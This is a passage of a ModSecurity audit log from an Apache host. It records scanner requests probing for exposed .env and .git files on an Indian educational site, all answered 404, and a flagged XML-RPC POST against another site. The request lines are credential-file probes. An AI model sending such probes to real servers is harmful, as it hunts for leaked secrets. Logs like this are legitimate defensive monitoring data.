_sfs_id=4e81ebd749e9465fb3c8d2994cf8f47e1750020668; expires=Sun, 15 Jun 2025 21:51:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --390f3d13-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/settings/private/.env.local"] [unique_id "aE8yPE-pZ3B--SoGku84iwAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020668055751 657770 (- - -) Stopwatch2: 1750020668055751 657770; combined=2166, p1=418, p2=1653, p3=0, p4=0, p5=95, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --390f3d13-Z-- --6ca8c92c-A-- [16/Jun/2025:02:21:10.836942 +0530] aE8yPmBSQiWwwCa-v2QCrwAAAAQ 185.177.72.210 56936 127.0.0.1 7081 --6ca8c92c-B-- GET /:8181/prod/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6ca8c92c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4b57120cf107430f64a915f659929ed61750020670; expires=Sun, 15 Jun 2025 21:51:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6ca8c92c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/prod/.env"] [unique_id "aE8yPmBSQiWwwCa-v2QCrwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020670173387 663616 (- - -) Stopwatch2: 1750020670173387 663616; combined=1937, p1=352, p2=1480, p3=0, p4=0, p5=104, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6ca8c92c-Z-- --f66cdf72-A-- [16/Jun/2025:02:21:15.653745 +0530] aE8yQ2BSQiWwwCa-v2QCsQAAAAQ 185.177.72.210 57136 127.0.0.1 7081 --f66cdf72-B-- GET /spikes/config-material-app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f66cdf72-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=36d78f0c9e16fc0f0fbc19340d23def81750020675; expires=Sun, 15 Jun 2025 21:51:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f66cdf72-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/spikes/config-material-app/.env"] [unique_id "aE8yQ2BSQiWwwCa-v2QCsQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020675005834 647984 (- - -) Stopwatch2: 1750020675005834 647984; combined=1680, p1=376, p2=1200, p3=0, p4=0, p5=104, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f66cdf72-Z-- --38857b3b-A-- [16/Jun/2025:02:21:17.634773 +0530] aE8yRGBSQiWwwCa-v2QCsgAAAAQ 185.177.72.210 57244 127.0.0.1 7081 --38857b3b-B-- GET /:8000/.env.txt HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --38857b3b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=73276b9778c8de59e6bfa0f8f6c20cbb1750020677; expires=Sun, 15 Jun 2025 21:51:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --38857b3b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env.txt"] [unique_id "aE8yRGBSQiWwwCa-v2QCsgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020676997478 637357 (- - -) Stopwatch2: 1750020676997478 637357; combined=1673, p1=353, p2=1226, p3=0, p4=0, p5=93, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --38857b3b-Z-- --98bbef04-A-- [16/Jun/2025:02:21:22.504869 +0530] aE8ySU-pZ3B--SoGku84kQAAABE 185.177.72.210 55132 127.0.0.1 7081 --98bbef04-B-- GET /old/.git/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --98bbef04-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9784ccea611899345ae8263d7167856e1750020682; expires=Sun, 15 Jun 2025 21:51:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --98bbef04-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/old/.git/"] [unique_id "aE8ySU-pZ3B--SoGku84kQAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020681854435 650507 (- - -) Stopwatch2: 1750020681854435 650507; combined=1806, p1=432, p2=1289, p3=0, p4=0, p5=85, sr=121, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --98bbef04-Z-- --bdd01022-A-- [16/Jun/2025:02:21:26.368897 +0530] aE8yTSHEjD4mqWjYVm13-wAAABM 185.177.72.210 55346 127.0.0.1 7081 --bdd01022-B-- GET /:8080/.env.prod HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bdd01022-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0df81af3a3e16736e6be5328dc746a3a1750020686; expires=Sun, 15 Jun 2025 21:51:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bdd01022-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env.prod"] [unique_id "aE8yTSHEjD4mqWjYVm13-wAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020685689264 679720 (- - -) Stopwatch2: 1750020685689264 679720; combined=1914, p1=370, p2=1434, p3=0, p4=0, p5=109, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bdd01022-Z-- --01446676-A-- [16/Jun/2025:02:21:32.320075 +0530] aE8yU4l8S04UZ4l67-nY6wAAAAk 185.177.72.210 44418 127.0.0.1 7081 --01446676-B-- GET /app/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --01446676-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=33a92a491f2785cef98246357de2571d1750020692; expires=Sun, 15 Jun 2025 21:51:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --01446676-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app/config/.env"] [unique_id "aE8yU4l8S04UZ4l67-nY6wAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020691671359 648778 (- - -) Stopwatch2: 1750020691671359 648778; combined=1847, p1=368, p2=1374, p3=0, p4=0, p5=104, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --01446676-Z-- --c2750111-A-- [16/Jun/2025:02:21:35.276207 +0530] aE8yVmBSQiWwwCa-v2QCwAAAAAQ 185.177.72.210 44578 127.0.0.1 7081 --c2750111-B-- GET /:5000/rest/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c2750111-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e5bf65bde1cb7379555e31badde95c6c1750020695; expires=Sun, 15 Jun 2025 21:51:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c2750111-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/rest/.env"] [unique_id "aE8yVmBSQiWwwCa-v2QCwAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020694619112 657158 (- - -) Stopwatch2: 1750020694619112 657158; combined=2058, p1=424, p2=1539, p3=0, p4=0, p5=94, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c2750111-Z-- --4baff611-A-- [16/Jun/2025:02:21:37.454944 +0530] aE8yWDW73rwPI0SU-iju5wAAAAA 185.177.72.210 44670 127.0.0.1 7081 --4baff611-B-- GET /:5000/front-empathy/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4baff611-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0966fc5f9bbb89f8481b50a5ae331e601750020697; expires=Sun, 15 Jun 2025 21:51:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4baff611-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/front-empathy/.env"] [unique_id "aE8yWDW73rwPI0SU-iju5wAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020696740586 714433 (- - -) Stopwatch2: 1750020696740586 714433; combined=1690, p1=409, p2=1188, p3=0, p4=0, p5=93, sr=124, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4baff611-Z-- --affdd906-A-- [16/Jun/2025:02:21:38.437080 +0530] aE8yWYv0YhcYGG7mzIpmMAAAABU 185.177.72.210 44742 127.0.0.1 7081 --affdd906-B-- GET /:8080/log/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --affdd906-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ca328ca02ea79b63adf302f07f728b731750020698; expires=Sun, 15 Jun 2025 21:51:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --affdd906-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/log/.env"] [unique_id "aE8yWYv0YhcYGG7mzIpmMAAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020697773228 663923 (- - -) Stopwatch2: 1750020697773228 663923; combined=1863, p1=378, p2=1418, p3=0, p4=0, p5=67, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --affdd906-Z-- --2152205f-A-- [16/Jun/2025:02:21:46.471045 +0530] aE8yYTW73rwPI0SU-iju6wAAAAA 128.199.112.101 52150 127.0.0.1 7081 --2152205f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --2152205f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --2152205f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8yYTW73rwPI0SU-iju6wAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020705491722 979389 (- - -) Stopwatch2: 1750020705491722 979389; combined=2378, p1=347, p2=1547, p3=42, p4=68, p5=224, sr=87, sw=150, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2152205f-Z-- --248c0872-A-- [16/Jun/2025:02:21:50.425408 +0530] aE8yZSHEjD4mqWjYVm14DQAAABM 185.177.72.210 48498 127.0.0.1 7081 --248c0872-B-- GET /:8000/journal/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --248c0872-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=632861512166f9fd6ab91096a48d5c301750020710; expires=Sun, 15 Jun 2025 21:51:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --248c0872-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/journal/.env"] [unique_id "aE8yZSHEjD4mqWjYVm14DQAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020709776459 649011 (- - -) Stopwatch2: 1750020709776459 649011; combined=1915, p1=410, p2=1414, p3=0, p4=0, p5=91, sr=115, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --248c0872-Z-- --fdf0d921-A-- [16/Jun/2025:02:21:51.578802 +0530] aE8yZol8S04UZ4l67-nY9QAAAAk 185.177.72.210 48524 127.0.0.1 7081 --fdf0d921-B-- GET /:8000/api/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fdf0d921-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6f9638c0c1a65b4d7d0c59e7b37f33961750020711; expires=Sun, 15 Jun 2025 21:51:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fdf0d921-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/api/.env.local"] [unique_id "aE8yZol8S04UZ4l67-nY9QAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020710851249 727639 (- - -) Stopwatch2: 1750020710851249 727639; combined=1783, p1=383, p2=1275, p3=0, p4=0, p5=124, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fdf0d921-Z-- --9b60df03-A-- [16/Jun/2025:02:22:01.011609 +0530] aE8ycFfWRcme38U-qk7olwAAAAI 185.177.72.210 52306 127.0.0.1 7081 --9b60df03-B-- GET /platform/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9b60df03-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6862f2a0c054f468e5ff3e127a08dda61750020720; expires=Sun, 15 Jun 2025 21:52:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9b60df03-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/platform/.env"] [unique_id "aE8ycFfWRcme38U-qk7olwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020720376611 635076 (- - -) Stopwatch2: 1750020720376611 635076; combined=1749, p1=396, p2=1241, p3=0, p4=0, p5=112, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9b60df03-Z-- --ea329b01-A-- [16/Jun/2025:02:22:18.882804 +0530] aE8ygs0RsCO0eBtdhx6_cAAAAAg 185.177.72.210 51450 127.0.0.1 7081 --ea329b01-B-- GET /api/.env.sample HTTP/1.0 Host: 